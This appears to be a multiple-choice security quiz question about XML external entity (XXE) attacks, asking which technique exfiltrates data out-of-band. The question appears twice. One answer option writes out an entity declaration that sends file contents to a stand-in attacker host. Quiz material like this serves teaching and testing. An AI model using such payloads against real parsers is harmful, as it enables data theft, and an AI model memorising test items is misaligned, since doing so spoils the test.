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Which XXE payload technique is specifically used to exfiltrate data out-of-band (OOB) to an attacker-controlled server?

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Which XXE payload technique is specifically used to exfiltrate data out-of-band (OOB) to an attacker-controlled server?

Billion Laughs entity expansion to crash the parser.

Supplying <!DOCTYPE to trigger in-memory XML errors.

External entity referencing an HTTP URL: <!ENTITY xxe SYSTEM "http://attacker.com/steal?data=%file;">

Using CDATA sections to hide payloads.

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